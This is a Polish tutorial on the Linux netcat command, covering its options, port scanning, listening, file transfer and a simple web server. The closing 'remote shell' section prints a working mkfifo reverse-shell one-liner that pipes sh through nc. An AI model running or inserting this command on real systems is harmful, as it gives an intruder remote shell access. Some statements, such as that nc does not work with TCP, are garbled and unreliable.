Metody płatności Abuse

Do czego służy polecenie NC w systemie Linux

29.08.2024, 02:19

Polecenie netcat jest niezbędne do wysyłania i odbierania danych przy użyciu protokołów TCP i UDP. Nie posiada ono dużego zestawu funkcji, ale jest wystarczające do sprawdzania połączeń i prostego debugowania. Jak komunikować się za pomocą protokołu TCP? To pytanie jest zadawane przez wielu użytkowników. W tym artykule odpowiemy na to pytanie, a także pokażemy przykłady rzeczywistego zastosowania polecenia.

Co robi to polecenie?

Polecenie netcat (lub nc) jest potężnym narzędziem do pracy z połączeniami sieciowymi. Jest często używane przez administratorów systemów i programistów do różnych zadań. Oto główne funkcje i cechy netcat:

  1. Nawiązywanie połączeń TCP/UDP: umożliwia nawiązywanie połączeń ze zdalnymi hostami przy użyciu protokołów TCP i UDP.
  2. Nasłuchiwanie portów: może być używany jako serwer nasłuchujący połączeń przychodzących na określonym porcie.
  3. Transfer danych: przesyłanie danych między komputerami za pośrednictwem sieci. Może to być przydatne do przesyłania plików lub wiadomości.
  4. Debugowanie aplikacji sieciowych: służy do testowania i debugowania usług sieciowych, umożliwiając wysyłanie i odbieranie dowolnych danych.
  5. Tworzenie prostych czatów: można skonfigurować prostą komunikację tekstową między dwoma systemami.
  6. Skanowanie portów: może być używane do sprawdzania otwartych portów na zdalnych hostach.
  7. Tunelowanie: może być używane do tworzenia tuneli w celu przekierowania ruchu przez inne porty lub hosty.
  8. Praca z serwerami proxy: może być używana do pracy z serwerami proxy i wykonywania różnych zadań sieciowych.

netcat jest wszechstronnym narzędziem, które może być używane w wielu różnych scenariuszach, od prostego przesyłania wiadomości po złożone operacje sieciowe.

Opcje

Zacznijmy od przyjrzenia się składni i najpopularniejszym z nich:

  • -6 - użycie protokołu IPv6. Domyślnie jest to odpowiednio -4 i IPv4;
  • -h - wyświetla pomoc z listą dostępnych parametrów;
  • -i - delay - dodaje opóźnienie pomiędzy wysyłaniem ciągów znaków lub skanowaniem portów. Jest ono ustawiane w sekundach;
  • -l - tryb nasłuchiwania. Używany ze specyfikacją portu;
  • -N - zamyka połączenie po osiągnięciu końca pliku podczas wysyłania;
  • -n - praca bezpośrednio z adresami IP bez DNS, wyłącza również skanowanie portów;
  • -P - user_name - określa nazwę użytkownika do połączenia z proxy;
  • -x - address:port - określa adres i port do połączenia z serwerem proxy;
  • -p - port - określa numer portu. W większości przypadków port jest odczytywany bez podawania parametru;
  • -U - użycie gniazda domeny UNIX (do komunikacji międzyprocesowej);
  • -u - użycie protokołu UDP, domyślnie używany jest TCP;
  • -v - tryb szczegółowy. Używane podczas skanowania;
  • -W number_packets - zamyka połączenie po otrzymaniu określonej liczby pakietów;
  • -w timer - włączenie timera w celu ograniczenia czasu połączenia. Jest on ustawiany w sekundach;
  • -z - wyłączenie wysyłania danych. Używane podczas skanowania.

Polecenie ma następującą postać (parametry adres portu):

$ nc

Następnie powiemy, jak używać tego polecenia.

Sprawdzanie portu

Sprawdzanie jest głównym zastosowaniem netcat. Należy użyć dwóch parametrów -vz, określić adres i port. Można określić zakres adresów, ale w tym przypadku lepiej jest przesiać tylko otwarte porty za pomocą poleceniagrep. Przeskanujmy porty lokalnego adresu sieciowego:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

W ten sam sposób przeskanujmy porty UDP, dodając parametr -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Powinieneś znać główną różnicę między TCP i UDP. Tak więc w UDP porty są zawsze dostępne.

Nasłuchiwanie portu

Parametr -l jest przeznaczony do nasłuchiwania portu. Często jest to wystarczające, ale można włączyć tryb szczegółowy:

$ nc -nlv 8080

Należy pamiętać, że podczas korzystania z protokołu TCP port musi być wolny, w przeciwnym razie pojawi się błąd Już w użyciu. Nie wszystkie porty mogą być używane przez zwykłych użytkowników, na przykład port 80 (HTTP), najprawdopodobniej będzie zajęty przez inny proces i będzie wymagał uprawnień superużytkownika.

Wymiana plików

Przydatną funkcją polecenia jest wymiana danych. Prostym przykładem jest czat tekstowy. Aby rozpocząć czat na jednym komputerze, należy uruchomić narzędzie w trybie nasłuchiwania portu:

$ nc -lp 8080

Na drugim komputerze należy podać adres pierwszego komputera i ten sam port. Nie zapomnij również sprawdzić, czy port jest otwarty:

$ nc 0.0.0.0 8080

W ten sposób będziesz mógł wysyłać i odbierać wiadomości. Oznacza to, że polecenie jest przeznaczone do wymiany plików. Zasada jest taka sama, z tym wyjątkiem, że konieczne jest przekierowanie danych wyjściowych do pliku, a mianowicie paste.txt:

$ nc -l 8080 > paste.txt

Na drugim komputerze plik copy.txt będzie służył jako dane wejściowe. Użycie parametru -N do zamknięcia połączenia po przesłaniu pliku nie jest zbyteczne:

$ nc -N 0.0.0.0 8080 < copy.txt

W przypadku przesyłania plików ważne jest, aby postępować zgodnie z sekwencją, najpierw otworzyć nasłuchiwanie, a dopiero potem wysłać plik. Polecenie nc jest działającym, ale dalekim od najlepszego sposobem przesyłania plików. Istnieją bardziej wydajne i użyteczne narzędzia do tego zadania.

Prosty serwer sieciowy

Ponieważ polecenie NC nie działa z protokołem TCP, umożliwia ono zarówno wysyłanie, jak i odbieranie żądań HTTP. Dzięki temu narzędzie to może stać się prostym serwerem WWW. Owszem, nie da się w ten sposób zrobić nic bardziej skomplikowanego niż pusta strona, ale operacja nie zajmie prawie żadnego czasu, a plusem jest to, że nie trzeba instalować niczego dodatkowego.

Na przykładzie formularz odpowiedzi HTTP z plikiem index.html. Mówiąc o samym np, dobrym pomysłem jest ustawienie timera z parametrem -w 1, aby przerwać połączenie, jeśli przeglądarka tego nie zrobi:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Aby uzyskać dane ze strony internetowej, można utworzyć żądanie i wysłać je na wskazany adres i port. Ten sposób jest jednak dość skomplikowany, lepiej jest użyć odpowiedniego polecenia CURL.

Zdalna powłoka

Na podstawie omówionych powyżej przykładów nietrudno dojść do wniosku, że polecenie to pozwala zorganizować zdalny dostęp do powłoki komputera. Wcześniej narzędzie NC posiadało kilka parametrów otwierających dostęp do terminala. Parametr -e został usunięty z narzędzia dawno temu, więc nie będzie już prostego dostępu do terminala. Bezpieczeństwo samej aplikacji stało się wyższe, ale nadal może ona działać w połączeniu z innymi.

Pokażmy połączenie przy użyciu nazwanego kanału mkfifo. Przede wszystkim zacznijmy nasłuchiwać portu na komputerze, do którego uzyskamy dostęp:

$ nc -lvnp 8080

Przejdźmy bezpośrednio do polecenia otwarcia terminala. Najpierw usuń stary nazwany kanał(rm /tmp/f), utwórz nowy w jego miejsce(mkfifo /tmp/f), odczytaj jego zawartość(cat /tmp/f) i wyślij polecenie powłoki na jego wyjście(sh -i 2>&1). Następnie pozostaje uruchomić nc z wyjściem do naszego nazwanego kanału(nc 0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Należy pamiętać, że jest to jeden ze sposobów hakowania, jednak może być przydatny w przypadku problemów z ssh. Aby zapobiec atakowi, należy skonfigurować politykę bezpieczeństwa i zaporę sieciową.